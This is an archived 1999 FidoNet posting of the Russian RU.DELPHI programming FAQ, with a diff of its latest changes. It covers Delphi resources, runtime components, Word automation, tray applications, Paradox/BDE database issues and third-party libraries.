размер восемь байт вместо шести? A: RTFM packed, $A. Q: Где взять подробную документацию по работе с RTF, TRichEdit? A: В MSDN. В rxLib 2.60 появился компонент TrxRichEdit, полностью поддерживающий MS RichEdit 2.0 и его DB-aware версия. Рекомендуется. Q: Как можно перетаскивать форму не только за заголовок? A: WM_NCHITTEST. Q: Как отследить "уход" курсора мыши с компонета? A: Обрабатывать CM_MOUSEENTER/CM_MOUSELEAVE. Q: Как добавить пункты в системное меню окна? A: Получить хэндл системного меню окна можно с помощью функции GetSystemMenu(). A: Можно ли сделать так, чтобы в исполняемом файле программы находился какой-нибудь звук в формате .wav, и можно было бы проиграть этот звук? В файл MyWave.rc пишешь: MyWave RCDATA LOADONCALL MyWave.wav brcc32.exe MyWave.rc, получаешь MyWave.res. В своей программе пишешь: {$R MyWave.res} Все! Предупреждая следующий твой вопрос "а как прочитать wave-файл из исполняемого файла?" procedure RetrieveMyWave; var hResource: THandle; pData: Pointer; begin hResource:=LoadResource( hInstance, FindResource(hInstance, 'MyWave', RT_RCDA TA)); try pData := LockResource(hResource); if pData = nil then raise Exception.Create('Cannot read MyWave'); // Здесь pData указывает на MyWave // Теперь можно, например, проиграть его (Win32): PlaySound('MyWave', 0, SND_MEMORY); finally FreeResource(hResource); end; end; Q: Как узнать и поменять разрешение экрана? Поменять: procedure ChangeDisplayResolution(x, y : word); var dm : TDEVMODE; begin ZeroMemory(@dm, sizeof(TDEVMODE)); dm.dmSize := sizeof(TDEVMODE); dm.dmPelsWidth := x; dm.dmPelsHeight := y; dm.dmFields := DM_PELSWIDTH or DM_PELSHEIGHT; ChangeDisplaySettings(dm, 0); end; _________________________________________________________________ Библиотеки, инструменты и т. п. Отдельный F.A.Q. по библиотекам и инструментам третьих фирм ведется Михаилом Чернышевым и регулярно публикуется им в RU.DELPHI. Q: Как работать с графическими форматами, хотя бы самыми известными? A: Hа [23]http://www.imagelib.com лежит библиотека ImageLib. Hа компакте с Delphi 3 в каталоге EXTRAS есть библиотека JPEG. Если сказать в модуле uses jpeg; то можно работать с .jpg как с TPicture. Еще есть freeware-библиотека Nishita ViewLib. JPG, JFIF, GIF, BMP, DIB, RLE, TGA, PCX. [24]http://einstein.ae.eng.ua.edu/nishita/index.htm. Q: Как работать с файлами архивов, хотя бы самыми распространенными? A: Воспользуйтесь библиотекой ExceedZip 3.0 ([25]http://www.exceedsoft.com). Q: Как использовать DirectX в своей программе? A: Модули для работы с DirectX находятся на Delphi Super Page, в пакете DelphiX. Также на [26]http://www.geocities.com/SiliconValley/1142/ лежит модули для работы с DirectSound. Информацию по программированию DirectX можно взять на MSDN и в книге Чарльза Калверта "Delphi 2: Энциклопедия пользователя". Учтите существование эхи RU.DIRECTX. A: Как использовать OpenGL в своей программе? Q: Модули для работы с OpenGL можно взять на [27]http://www.signsoft.com/opengl. Информацию -- на [28]http://www.opengl.org. Также есть книга Ю. Тихомирова "OpenGL: программирование трехмерной графики". Еще загляните на [29]http://reality.sgi.com/mjk за примерами и [30]http://www.scitechsoft.com за библиотекой MesaGL. Учтите существование эхи RU.OPENGL. Q: Как встроить просмотр HTML в свою программу? A: MS Internet Explorer умеет быть элементом управления ActiveX, что позволяет поместить его на форму. В Delphi 4 имеется пример Web-браузера на Delphi. (AL): Еще на [31]http://www.pbear.com лежат THTMLViewer и TFrameViewer. Q: Где достать процедуру типа "сумма прописью"? A: (Vladimir Gaitanoff, 2:5020/880.5), [32]http://www.tsinet.ru/~vg. Здесь лежит библиотека vgLib, содержащая еще массу полезных вещей. Q: Какие инструменты можно применить для коллективной разработки проекта? A: CVS. [33]http://www.cyclic.com. С его помощью разрабатывается весьма львиная доля программного обеспечения в Internet. Интеграция с Delphi -- нулевая ;) Крайне рекомендуется. Я лично пользуюсь ею ощутимое время и не представляю себе более разработки без этого средства. "Введение в CVS" можно прочитать на [34]http://alexm.here.ru. Microsoft Visual Source Safe. Проигрывает в функциональности, может выигрывать в "привычности". Q: Как можно обнаружить утечки памяти и ресурсов в программе? A: MSDebug Макса Русова. Hаходится на [35]http://www.dic.ru/users/rusov/. Поддерживает Delphi 3 и выше, ловит только утечки памяти, но делает это хорошо. Hа [36]http://www.numega.com можно купить BoundsChecker for Delphi. Он проверяет также и утечки ресурсов. Q: Мне нужно заниматься разбором математических выражений, например, строить график функции, заданной пользователем во время работы программы. A: В rxLib есть компонент TrxMathParser, достаточно мощный для большого количества применений. Q: Как уменьшить размер исполняемого файла программы? A: Писать на WinAPI без использования VCL. Это пригодно для и без того крохотных программ. Воспользоваться пакетами (packages) из Delphi 3. Эффект появится, когда исполняемых файлов больше одного. Воспользоваться компрессорами исполняемых файлов, например: Shrinker [37]http://www.blinkinc.com, WWPack32 [38]http://kolos.uni.lodz.pl/warezak, NeoLite [39]ftp://ftp.zdnet.com/pub/private/sWlIB/utilities/other_utilities/ne olitee.zip, Petite, [40]http://www.icl.ndirect.co.uk/petite/. Q: Где достать всяких иконок, картинок для кнопок, etc. для своей программы? A: [41]http://www.iconbazaar.com _________________________________________________________________ -- Пусть тени обходят тебя стороной // slow constant attack --- ifmail v.2.14.os-p5 * Origin: Snowvision (2:5020/433@fidonet) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 65 of 341 - 55 + 82 From : Alexey_Mahotkin 2:5020/433 11 Mar 99 00:56:00 To : All Subj : RU.DELPHI.F.A.Q. [5/6] [periodical posting] ──────────────────────────────────────────────────────────────────────────────── .RFC-Path: news.irex.ru!f871.n5020.z2!f433.n5020.z2!hsys!not-for-mail .RFC-Followup-To: fido7.ru.delphi .RFC-NNTP-Posting-Host: localhost .RFC-X-Trace: alexm.hsys.msk.ru 921113785 4718 127.0.0.1 (11 Mar 1999 00:56:25 GMT) .RFC-X-Complaints-To: usenet@alexm.hsys.msk.ru .RFC-NNTP-Posting-Date: 11 Mar 1999 00:56:25 GMT Относительно большие ответы/примеры кода Q: Как правильно создавать компоненты в run-time? Что задавать в качестве параметра Owner при создании компоненты? Как обрабатывать события от созданных компонент, типа нажатий на кнопки? A: Hачнем с создания. Сущность свойства Owner в том, что владелец перед смертью уничтожает (через Free) принадлежащие ему объекты. Таким образом, все зависит от того, кому вы хотите доверить уничтожение созданных форм/компонентов. В частности, если вы сами будете этим заниматься, то AOwner может быть, например, nil. Для того, чтобы созданный компонент появился на экране, надо указать его родителя, заполнив свойство Parent, например, NewButton.Parent := Form1; Пример кода, обрабатывающего события от свежесозданных компонентов: type TForm1 = class(TForm) { ... } private { эта процедура будет вызываться при нажатии на кнопку } procedure ButtonClicked(Sender : TObject); public { в этой процедуре происходит создание кнопки } procedure CreateButton; end; { ... } procedure TForm1.CreateButton; var btn : TButton; begin btn := TButton.Create(Self); { Уничтожать кнопку будет форма } btn.Parent := Self; { Родителем кнопки будет форма } btn.OnClick := ButtonClicked; { Процедура, которая будет исполняться при } btn.Visible := true; { нажатии на кнопку } end; Q: Как мне работать с файлами MS Word или таблицами MS Excel? A: Воспользоваться функцией CreateOLEObject и работать с VBA (Visual Basic for Applications) или WordBasic. NB: Обратите внимание на то, как устанавливаются именованные параметры у процедур WordBasic'а, например, FileOpen(Name := 'myname.doc'); === Cut Пример by Sergey Arkhipov 2:5054/88.10 === Пример проверен только на русском Word 7.0! Может, поможет... unit InWord; interface uses ... ComCtrls; // Delphi3 ... OLEAuto; // Delphi2 [skip] procedure TPrintForm.MPrintClick(Sender: TObject); var W: Variant; S: String; begin S:=VarToStr(Table1['Num']); //В D3 без промежуточной записи // в var у меня не пошло :( try // А вдруг где ошибка :) W:=CreateOleObject('Word.Basic'); // Создаем документ по шаблону MyWordDot // с указанием пути если он не в папке шаблонов Word W.FileNew(Template:='C:\MyPath\DB\MyWordDot',NewTemplate:=0); // Отключение фоновой печати (на LJ5L без этого был пустой лист) W.ToolsOptionsPrint(Background:=0); // Переходим к закладке Word'a 'Num' W.EditGoto('Num'); W.Insert(S); //Сохранение W.FileSaveAs('C:\MayPath\Reports\MyReport') W.FilePrint(NumCopies:='2'); // Печать 2-х копий finally W.ToolsOptionsPrint(Background:=1); W:=UnAssigned; end; end; {.....} === Cut Конец примера === Q: Как сделать так, чтобы запущенная программа не была видна на панели задач? Во-первых, можно по примеру Back Orifice воспользоваться функцией RegisterServiceProcess. Во-вторых, предположим, вы пользуетесь компонентой TrxTrayIcon из rxLib, иначе непонятно, как вы будете возвращать программу обратно из минимизированного состояния. A: (EM, DS): type TForm1 = class(TForm) Label1: TLabel; RxTrayIcon1: TRxTrayIcon; procedure FormCreate(Sender : TObject); procedure RxTrayIcon1DblClick(Sender: TObject); private { Private declarations } procedure ApplicationMinimize(Sender : TObject); procedure ApplicationRestore(Sender : TObject); public { Public declarations } end; var Form1: TForm1; implementation {$R *.DFM} procedure TForm1.FormCreate(Sender: TObject); begin Application.OnMinimize := ApplicationMinimize; Application.OnRestore := ApplicationRestore; ShowWindow(Application.Handle, SW_HIDE); end; procedure TForm1.ApplicationMinimize(Sender : TObject); begin ShowWindow(Application.Handle, SW_HIDE); end; procedure TForm1.ApplicationRestore(Sender : TObject); begin ShowWindow(Application.Handle, SW_HIDE); end; procedure TForm1.RxTrayIcon1DblClick(Sender: TObject); begin Application.Restore; Application.BringToFront; end; (AK): Только сpазу предупреждаю про грабли, на которые я наступал -- будь готов к тому, что если пpи попытке закрытия приложения в OnCloseQuery или OnClose выводится вопрос о подтверждении, то могут быть проблемы с автоматическим завершением пpогpаммы пpи shutdown -- под Win95 просто зависает, под WinNT не завершается. Очевидно, что сообщение выводится, но его не видно (причем SW_RESTORE не сpабатывает). Решение -- ловить WM_QUERYENDSESSION и после всяких завеpшающих действий и вызова CallTerminateProcs выдавать Halt. _________________________________________________________________ Вопросы, связанные с программированием баз данных Q: После работы программы не сохраняются изменения в базе Paradox. Что делать? A: Где-нибудь при закрытии главной формы выполните нижеследующие куски кода: Для Delphi 3: Table.FlushBuffers при открытой таблице. Для прочих: Table.Open; Check(dbiSaveChanges(Table.Handle)); Table.Close; Q: Как мне упаковать Paradox или DBF таблицу? A: Воспользоваться функцией PackTable из rxLib. Для перегенерации индексов: Table1.Exclusive := True; Table1.Open; Check(dbiRegenIndexes(Table1.Handle); Q: Почему при добавлении/изменении записей в некоторых запросах возникает ошибка Cannot modify a read-only dataset? A: Во-первых, должно быть RequestLive := True; во-вторых, чтобы запрос был редактируемым, он должен удовлетворять требованиям, изложенным в помощи при поиске по "live result sets". Q: Почему не работает сортировка и функция UPPER() в Interbase'овской базе данных? A: Смотри в F.A.Q. по Borland Interbase от демо-центра. Q: Hе получается вставить в таблицу записи со строками на русском языке -- некоторые буквы меняются на другие -- что делать? A: В Database Desktop поставьте правильный Language Driver у таблицы, например, Pdox ANSI Cyrr. Q: Я переписал готовую программу на машину заказчика, а она там не запускается -- говорит "Error initializing database engine". Что -- Пусть тени обходят тебя стороной // slow constant attack --- ifmail v.2.14.os-p5 * Origin: Snowvision (2:5020/433@fidonet) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 66 of 341 - 56 + 83 From : Alexey_Mahotkin 2:5020/433 11 Mar 99 00:56:00 To : All Subj : RU.DELPHI.F.A.Q. [6/6] [periodical posting] ──────────────────────────────────────────────────────────────────────────────── .RFC-Path: news.irex.ru!f871.n5020.z2!f433.n5020.z2!hsys!not-for-mail .RFC-Followup-To: fido7.ru.delphi .RFC-NNTP-Posting-Host: localhost .RFC-X-Trace: alexm.hsys.msk.ru 921113794 4721 127.0.0.1 (11 Mar 1999 00:56:34 GMT) .RFC-X-Complaints-To: usenet@alexm.hsys.msk.ru .RFC-NNTP-Posting-Date: 11 Mar 1999 00:56:34 GMT делать? A: Прочитать X:\DELPHI\DOC\deploy.txt. Q: Как правильно соединяться с базой данных под Personal Oracle? A: user/password@2: Это так для Oracle SQL Plus, и более других его утилит. А в BDE надо оставить все как для соединения с сетевым сервером, (протокол TNS, имя пользователя, кодировку, интерфейсную DLL) только вместо имени сервера написать "2:". Это годится и для случая, когда на одной машине и сетевой сервер и приложение. Q: У меня в программе происходит очень большой запрос -- в районе нескольких тысяч или десятков тысяч записей. Соответственно, большой сетевой трафик, программа тормозит и так далее. Можно ли как-нибудь оптимизировать это все? A: Постарайтесь изменить логику приложения так, чтобы таких запросов не возникало. Обычно подобные вещи свидетельствуют о несколько неверной архитектуре приложения. _________________________________________________________________ Последние изменения: Чтв Мар 11 00:50:31 Local time zone must be set--see zic manual page 1999 Сгенерировано [42]TEItools References 1. mailto:alexm(at)hsys.msk.ru" 2. http://alexm.here.ru/ 3. http://delphi.da.ru/ 4. http://www.chat.ru/~ivanuts 5. http://www.demo.ru/homerus/delphi/faq/faqsroot.htm 6. http://www.inprise.com/ 7. http://www.dataweb.net/~r.p.sterkenburg 8. http://msdn.microsoft.com/ 9. http://www.sysinternals.com/ 10. http://www.iarchitect.com/ 11. http://www.vireo.com/ 12. http://www.entechtaiwan.com/tools.htm 13. http://www.bluewatersystems.com/ 14. http://rx.demo.ru/ 15. http://www.altavista.com/ 16. http://ftpsearch.lycos.com/ 17. http://www.dejanews.com/ 18. ftp://bbs.ogo.ru/ 19. http://rx.demo.ru/ 20. http://members.xoom.com/PolarisSoft/ 21. http://www.sawatski.de/ 22. http://www.itecuk.com/delmag/thunk95.htm 23. http://www.imagelib.com/ 24. http://einstein.ae.eng.ua.edu/nishita/index.htm 25. http://www.exceedsoft.com/ 26. http://www.geocities.com/SiliconValley/1142/ 27. http://www.signsoft.com/opengl 28. http://www.opengl.org/ 29. http://reality.sgi.com/mjk 30. http://www.scitechsoft.com/ 31. http://www.pbear.com/ 32. http://www.tsinet.ru/~vg 33. http://www.cyclic.com/ 34. http://alexm.here.ru/ 35. http://www.dic.ru/users/rusov/ 36. http://www.numega.com/ 37. http://www.blinkinc.com/ 38. http://kolos.uni.lodz.pl/warezak 39. ftp://ftp.zdnet.com/pub/private/sWlIB/utilities/other_utilities/neolitee.zip 40. http://www.icl.ndirect.co.uk/petite/ 41. http://www.iconbazaar.com/ 42. http://xtalk.price.ru/SGML/TEItools/ -- Пусть тени обходят тебя стороной // slow constant attack --- ifmail v.2.14.os-p5 * Origin: Snowvision (2:5020/433@fidonet) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 67 of 341 From : Alexey Mahotkin 2:5020/433 11 Mar 99 00:47:00 To : All Subj : RU.DELPHI.F.A.Q. [changes only] ──────────────────────────────────────────────────────────────────────────────── .RFC-Path: news.irex.ru!f871.n5020.z2!f433.n5020.z2!hsys!not-for-mail .RFC-Distribution: locfido .RFC-Message-ID: .RFC-Followup-To: fido7.ru.delphi .RFC-NNTP-Posting-Host: localhost .RFC-X-Trace: alexm.hsys.msk.ru 921113276 4565 127.0.0.1 (11 Mar 1999 00:47:56 GMT) .RFC-X-Complaints-To: usenet@alexm.hsys.msk.ru .RFC-NNTP-Posting-Date: 11 Mar 1999 00:47:56 GMT -+- ru.delphi.f.a.q.tei.~1.txt Thu Mar 11 00:37:06 1999 +++ ru.delphi.f.a.q.txt Thu Mar 11 00:38:25 1999 @@ -1,9 +1,9 @@ Преамбула - $Id: ru.delphi.f.a.q.tei,v 1.13 1999/03/03 23:09:28 alexm Exp $ + $Id: ru.delphi.f.a.q.tei,v 1.15 1999/03/11 00:32:03 alexm Exp $ - (higher colliders) + (faint directions) Этот F. A. Q. -- список ответов на вопросы, наиболее часто задаваемые в эхо-конференциях RU.DELPHI, RU.DELPHI.DB и RU.DELPHI.INFO. @@ -34,6 +34,11 @@ прошедшее с момента создания RU.DELPHI.DB, следовало бы подумать в первую очередь о себе и создать для себя необходимое количество каналов поступления информации. + * обсуждение вашей совершенно новой и безумно свежей идеи о том, что + эху пора разделить на две/три/больше частей, потому что читать ее + нет никаких сил. Вы даже не в первой сотне придумавших и успешно + высказавших сие. От себя могу посоветовать пользоваться хорошими + программами для чтения эхо-конференций. * обсуждение тем, не связанных с собственно Delphi: алгоритмы, общие вопросы программирования под Win32, общие организационные вопросы, связанные с разработкой программного обеспечения, etc. @@ -71,8 +76,8 @@ Существует также некоторое количество подобных проектов, освещающих те или иные стороны вопроса. - Документы на русском языке - +Документы на русском языке + Delphi Tips&Tricks, автор -- Акжан Абдулин, 2:5040/55. Это большая коллекция кусков кода и обстоятельных рассказов о том или ином решении. [3]http://delphi.da.ru @@ -82,15 +87,15 @@ стандартную поставку Delphi. [4]http://www.chat.ru/~ivanuts Delphi F.A.Q., составленный в Демо-Центре, он же Epsylon Technologies - ([5]www.demo.ru/homerus/delphi/faq/faqsroot.htm). Большой набор + ([5]http://www.demo.ru/homerus/delphi/faq/faqsroot.htm). Большой набор вопросов и великолепные ответы. Кажется, первый F. A. Q. по Delphi на русском языке. Многие из этих FAQ можно найти также на FAQ-сервере по имени AkFAQ, по адресу 2:5040/55.999. - Документы на английском языке - +Документы на английском языке + Delphi F.A.Q., находящийся на сайте производителя [6]http://www.inprise.com. Это официальный F.A.Q. @@ -106,24 +111,25 @@ (alex(at)soniir.smr.ru), Anthony Buntyakov (antosha(at)metcombank.ru), Arthur Aseev (2:5030/465.2), Andrey Grigoriev (2:5061/24.20), Alex Konshin (2:5030/217), Alexander Lokshin (2:5020/529), Alexander - Petrosyan (2:5020/468.8), Alex Petin (2:5000/97.8), Andrey Ruckoy - (2:5047/7), Andrey Sarinkov (2:5040/33.121), Alexey Sinutin - (2:5022/12.16), Andrew Verigo (2:452/23.32), Alexey Yashin - (2:5020/62.31), Boris Loboda (2:461/256), Boris Podchezertseff - (2:5020/656.20), Dmitry Kryloff (2:5054/9.20), Dmitry Shikhman - (2:468/13.32), Edward Shigapov (2:5051/22.8), Eugene Kopko - (2:464/196), Evgeny Levashoff (2:5022/31.7), Eugene Mayevski + Petrosyan (2:5020/468.8), Alex Petin (2:5000/97.8), Alexey + Solodovnikov (2:5030/257.15), Andrey Ruckoy (2:5047/7), Andrey + Sarinkov (2:5040/33.121), Alexey Sinutin (2:5022/12.16), Andrew Verigo + (2:452/23.32), Alexey Yashin (2:5020/62.31), Boris Loboda (2:461/256), + Boris Podchezertseff (2:5020/656.20), Dmitry Kryloff (2:5054/9.20), + Dmitry Shikhman (2:468/13.32), Edward Shigapov (2:5051/22.8), Eugene + Kopko (2:464/196), Evgeny Levashoff (2:5022/31.7), Eugene Mayevski (2:463/209), Eugeny Sverchkov (2:5031/12.23), Ilya Andreev (2:5030/55.28), Ivan Gudym (2:4642/2213.9), Igor Slusarev (2:5020/118.18), Juris Bekins (2:5100/35), Max Vystropov (2:5020/1412), Oleg Belousov (oberon(at)nvart.ru), Pavel Shklovsky (2:5011/18), Roman Procopovich (2:5030/254.201), Roman Rechmakov (2:5020/952.26), Stanislav Babin (2:5030/356.7), Serge Korolev - (2:5020/104), Sergey Mazunov (2:5083/30.20), Sergey Okhapkin - (ex-2:5020/47), Serg Vostrikov (2:5053/15.3), Sergey Arkhipov - (2:5054/88.10), Sergey Belov (sbelov(at)aha.ru), Victor Babkin - (2:463/279.6), Vlad Sharnin (vlad(at)nplks.rb.ru), Victor Ishikeev - (ivi(at)ufanet.ru), Vladimir Vornichescu (2:469/101.24). + (2:5020/104), Sergey Mazunov (2:5083/30.20), Sergey Maznichenko + (2:5061/26.45), Sergey Okhapkin (ex-2:5020/47), Serg Vostrikov + (2:5053/15.3), Sergey Arkhipov (2:5054/88.10), Sergey Belov + (sbelov(at)aha.ru), Victor Babkin (2:463/279.6), Vlad Sharnin + (vlad(at)nplks.rb.ru), Victor Ishikeev (ivi(at)ufanet.ru), Vladimir + Vornichescu (2:469/101.24). Если по какой-то причине вас нет в этом списке, тогда как вы считаете, что должны там находиться, прошу извинить и уведомить об этом @@ -338,6 +344,7 @@ перезагружается. Что делать? A: Снести QEMM. Hачисто. Простое отключение его функций не помогает. + Впрочем, это исправлено в QEMM 9.0. Q: Delphi 4 виснут при запуске. Видеокарта S3 Virge. @@ -667,6 +674,22 @@ FreeResource(hResource); end; end; + + Q: Как узнать и поменять разрешение экрана? + + Поменять: + +procedure ChangeDisplayResolution(x, y : word); +var + dm : TDEVMODE; +begin + ZeroMemory(@dm, sizeof(TDEVMODE)); + dm.dmSize := sizeof(TDEVMODE); + dm.dmPelsWidth := x; + dm.dmPelsHeight := y; + dm.dmFields := DM_PELSWIDTH or DM_PELSHEIGHT; + ChangeDisplaySettings(dm, 0); +end; _________________________________________________________________ Библиотеки, инструменты и т. п. @@ -754,6 +777,25 @@ A: В rxLib есть компонент TrxMathParser, достаточно мощный для большого количества применений. + + Q: Как уменьшить размер исполняемого файла программы? + + A: Писать на WinAPI без использования VCL. Это пригодно для и без того + крохотных программ. + + Воспользоваться пакетами (packages) из Delphi 3. Эффект появится, + когда исполняемых файлов больше одного. + + Воспользоваться компрессорами исполняемых файлов, например: Shrinker + [37]http://www.blinkinc.com, WWPack32 + [38]http://kolos.uni.lodz.pl/warezak, NeoLite + [39]ftp://ftp.zdnet.com/pub/private/sWlIB/utilities/other_utilities/ne + olitee.zip, Petite, [40]http://www.icl.ndirect.co.uk/petite/. + + Q: Где достать всяких иконок, картинок для кнопок, etc. для своей + программы? + + A: [41]http://www.iconbazaar.com _________________________________________________________________ Относительно большие ответы/примеры кода @@ -978,8 +1020,8 @@ неверной архитектуре приложения. _________________________________________________________________ - Последние изменения: Чтв Мар 11 00:36:56 MSK 1999 - Сгенерировано [37]TEItools + Последние изменения: Чтв Мар 11 00:38:15 MSK 1999 + Сгенерировано [42]TEItools References @@ -987,7 +1029,7 @@ 2. http://alexm.here.ru/ 3. http://delphi.da.ru/ 4. http://www.chat.ru/~ivanuts - 5. file://localhost/home/alexm/ru.delphi.f.a.q/www.demo.ru/homerus/delphi/faq/faqsr oot.htm + 5. http://www.demo.ru/homerus/delphi/faq/faqsroot.htm 6. http://www.inprise.com/ 7. http://www.dataweb.net/~r.p.sterkenburg 8. http://msdn.microsoft.com/ @@ -1019,4 +1061,9 @@ 34. http://alexm.here.ru/ 35. http://www.dic.ru/users/rusov/ 36. http://www.numega.com/ - 37. http://xtalk.price.ru/SGML/TEItools/ + 37. http://www.blinkinc.com/ + 38. http://kolos.uni.lodz.pl/warezak + 39. ftp://ftp.zdnet.com/pub/private/sWlIB/utilities/other_utilities/neolitee.zip + 40. http://www.icl.ndirect.co.uk/petite/ + 41. http://www.iconbazaar.com/ + 42. http://xtalk.price.ru/SGML/TEItools/ --- Gnus v5.5/XEmacs 20.4 - "Emerald" * Origin: Snowvision (2:5020/433@fidonet) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 68 of 341 - 62 + 78 From : Alexey_Mahotkin 2:5020/433 11 Mar 99 00:55:00 To : All Subj : RU.DELPHI.F.A.Q. [1/6] [periodical posting] ──────────────────────────────────────────────────────────────────────────────── .RFC-Path: news.irex.ru!f871.n5020.z2!f433.n5020.z2!hsys!not-for-mail .RFC-Followup-To: fido7.ru.delphi .RFC-NNTP-Posting-Host: localhost .RFC-X-Trace: alexm.hsys.msk.ru 921113744 4706 127.0.0.1 (11 Mar 1999 00:55:44 GMT) .RFC-X-Complaints-To: usenet@alexm.hsys.msk.ru .RFC-NNTP-Posting-Date: 11 Mar 1999 00:55:44 GMT Преамбула $Id: ru.delphi.f.a.q.tei,v 1.15 1999/03/11 00:32:03 alexm Exp $ (faint directions) Этот F. A. Q. -- список ответов на вопросы, наиболее часто задаваемые в эхо-конференциях RU.DELPHI, RU.DELPHI.DB и RU.DELPHI.INFO. Copyright (C) Alexey Mahotkin 1997-1999 Ответы на вопросы Copyright (C) авторы ответов Пожалуйста, воздержитесь от задавания вопросов в этой иерархии, до того, как прочтете этот документ, правила иерархии, ознакомитесь со списком рекомендованной литературы и проведете самостоятельные исследования вопроса. Это поможет всем нам сохранить на должном высоком уровне соотношение полезной и бесполезной информации. Правилами иерархии, в частности, регламентируется содержание поля Subject: ваших писем. Дело в том, что довольно большое количество "потенциально полезных вам индивидуумов" читают эхи методом "по сабджектам", сознательно не тратя время на письма под заголовком "Help!", "Проблема" или "Вопрос чайника". В данном случае использование комбинации клавиш Shift-1 лишь усугубляет ваше положение. Подумайте об этом. Здесь не приветствуется: * обсуждение вопросов, относящихся к базам данных, в RU.DELPHI, для этого специально существует RU.DELPHI.DB. К сожалению, мотивация типа "мой аплинк/провайдер не получает эту эху/ньюсгруппу" в данном случае не принимается, потому что за продолжительное время, прошедшее с момента создания RU.DELPHI.DB, следовало бы подумать в первую очередь о себе и создать для себя необходимое количество каналов поступления информации. * обсуждение вашей совершенно новой и безумно свежей идеи о том, что эху пора разделить на две/три/больше частей, потому что читать ее нет никаких сил. Вы даже не в первой сотне придумавших и успешно высказавших сие. От себя могу посоветовать пользоваться хорошими программами для чтения эхо-конференций. * обсуждение тем, не связанных с собственно Delphi: алгоритмы, общие вопросы программирования под Win32, общие организационные вопросы, связанные с разработкой программного обеспечения, etc. * общая неспособность получать информацию из окружающей реальности. Прочтите книгу об эффективной коммуникации и должном отношении ко всему. _________________________________________________________________ Доступность этого F.A.Q. Этот документ регулярно изменяется в результате отслеживания происходящего в RU.DELPHI.*. Вы можете поучаствовать в составлении документа, прислав по адресу [1]mailto:alexm(at)hsys.msk.ru" сформулированный вариант вопроса, ответ или дополнение или исправление к ответу. Довольно важным критерием отбора ответов является размер. Я не хочу публиковать большие куски кода, предпочитая давать указание на источник дополнительной информации или направление самостоятельных разработок. В любом случае, вы можете обратиться к авторам сопутствующих проектов, список которых приведен ниже. Разрешается свободное распространение и использование этого документа при соблюдении определенной вежливости по отношению к автору и читателям, основной составляющей чего является соблюдение целостности документа. Hе очень приветствуется выкладывание копий этого документа на WWW: подумайте, нужны ли вам непрерывные усилия по синхронизации? Если же вы вынуждены использовать этот документ на сайте, для того, чтобы создать его содержимое, подумайте, нужен ли вообще ваш сайт? Свежая версия этого документа находится на домашней странице автора [2]http://alexm.here.ru. Остерегайтесь подделок. _________________________________________________________________ Сопутствующие проекты Существует также некоторое количество подобных проектов, освещающих те или иные стороны вопроса. Документы на русском языке Delphi Tips&Tricks, автор -- Акжан Абдулин, 2:5040/55. Это большая коллекция кусков кода и обстоятельных рассказов о том или ином решении. [3]http://delphi.da.ru F.A.Q. по фичам Delphi, автор -- Михаил Чернышев, 2:4615/26. Это описание различных библиотек и компонентов третьих фирм, не входящих в стандартную поставку Delphi. [4]http://www.chat.ru/~ivanuts Delphi F.A.Q., составленный в Демо-Центре, он же Epsylon Technologies ([5]http://www.demo.ru/homerus/delphi/faq/faqsroot.htm). Большой набор вопросов и великолепные ответы. Кажется, первый F. A. Q. по Delphi на русском языке. Многие из этих FAQ можно найти также на FAQ-сервере по имени AkFAQ, по адресу 2:5040/55.999. Документы на английском языке Delphi F.A.Q., находящийся на сайте производителя [6]http://www.inprise.com. Это официальный F.A.Q. Delphi Bug List, лежащий по адресу [7]http://www.dataweb.net/~r.p.sterkenburg. Это список ошибок во всех известных версиях Delphi, адекватно обновляемый. _________________________________________________________________ Контрибуторы Список людей, внесших свой вклад в создание этого F.A.Q., в алфавитно-случайном порядке: Akzhan Abdulin (2:5040/55), Alexey Tomin (alex(at)soniir.smr.ru), Anthony Buntyakov (antosha(at)metcombank.ru), Arthur Aseev (2:5030/465.2), Andrey Grigoriev (2:5061/24.20), Alex Konshin (2:5030/217), Alexander Lokshin (2:5020/529), Alexander Petrosyan (2:5020/468.8), Alex Petin (2:5000/97.8), Alexey Solodovnikov (2:5030/257.15), Andrey Ruckoy (2:5047/7), Andrey Sarinkov (2:5040/33.121), Alexey Sinutin (2:5022/12.16), Andrew Verigo (2:452/23.32), Alexey Yashin (2:5020/62.31), Boris Loboda (2:461/256), Boris Podchezertseff (2:5020/656.20), Dmitry Kryloff (2:5054/9.20), Dmitry Shikhman (2:468/13.32), Edward Shigapov (2:5051/22.8), Eugene Kopko (2:464/196), Evgeny Levashoff (2:5022/31.7), Eugene Mayevski (2:463/209), Eugeny Sverchkov (2:5031/12.23), Ilya Andreev (2:5030/55.28), Ivan Gudym (2:4642/2213.9), Igor Slusarev (2:5020/118.18), Juris Bekins (2:5100/35), Max Vystropov (2:5020/1412), Oleg Belousov (oberon(at)nvart.ru), Pavel Shklovsky (2:5011/18), Roman Procopovich (2:5030/254.201), Roman Rechmakov (2:5020/952.26), Stanislav Babin (2:5030/356.7), Serge Korolev (2:5020/104), Sergey Mazunov (2:5083/30.20), Sergey Maznichenko (2:5061/26.45), Sergey Okhapkin (ex-2:5020/47), Serg Vostrikov (2:5053/15.3), Sergey Arkhipov (2:5054/88.10), Sergey Belov (sbelov(at)aha.ru), Victor Babkin (2:463/279.6), Vlad Sharnin (vlad(at)nplks.rb.ru), Victor Ishikeev (ivi(at)ufanet.ru), Vladimir Vornichescu (2:469/101.24). Если по какой-то причине вас нет в этом списке, тогда как вы считаете, что должны там находиться, прошу извинить и уведомить об этом прискорбном факте. Я также позволил себе не сопоставлять некоторые ответы с именами авторов этих ответов. Если вас не устраивает такая ситуация -- напишите об этом. _________________________________________________________________ Источники информации Прежде всего, конечно же, книги. Как бы это странно ни звучало, но зайдите в книжный магазин и купите себе там какую-нибудь книгу, даже если она уже у вас есть. Следует сразу предупредить, что специфика современного российского книгоиздания такова, что существует довольно большое количество книг, не стоящих своих денег. Вероятно, вам следует положиться на собственное чутье и тщательно изучить предлагаемую продукцию. Список литературы на все интересующие темы, рекомендованный к прочтению, находится в неофициальном F.A.Q. эхоконференции RU.BOOKS.COMPUTING. Свежие версии этого F.A.Q. регулярно публикуются в соответствующей эхоконференции, а также доступны на домашней странице автора. Учтите, что кроме книг по Delphi вас могут интересовать также издания, посвященные программированию под Windows и проектированию баз данных. Delphi, в сущности, является обычным компилятором для Windows, и довольно большое количество вопросов, которые у вас 